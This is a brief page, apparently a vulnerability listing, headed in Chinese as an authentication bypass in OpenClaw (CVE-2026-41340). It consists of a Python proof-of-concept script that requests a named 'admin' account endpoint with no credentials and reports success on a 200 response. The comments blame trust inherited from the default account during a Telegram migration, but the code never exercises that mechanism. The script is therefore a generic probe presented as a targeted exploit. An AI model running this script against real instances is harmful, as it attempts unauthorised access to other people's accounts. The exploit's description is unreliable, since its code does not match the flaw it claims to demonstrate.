CVE-2026-41340 OpenClaw身份验证绕过漏洞

# Proof of Concept for CVE-2026-41340 # This script demonstrates bypassing authentication for named accounts # due to the incorrect trust inheritance from the default account. import requests target = "http://target-openclaw-instance.com" named_account = "admin" # Target named account # Vulnerability: The system incorrectly propagates trust from the default account # to named accounts during Telegram legacy allowFrom migration. # In a real scenario, the attacker might not need a token if the trust is implicit, # or might use the default account's token to access the named account endpoint. headers = { "User-Agent": "CVE-2026-41340-POC", "Content-Type": "application/json" } print(f"[*] Attempting to access named account '{named_account}'...") # Try to access the named account endpoint leveraging the trust propagation url = f"{target}/api/v1/accounts/{named_account}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] SUCCESS: Authentication bypassed.") print(f"[+] Response: {response.text}") else: print(f"[-] FAILED: Status code {response.status_code}") except Exception as e: print(f"[!] Error: {e}")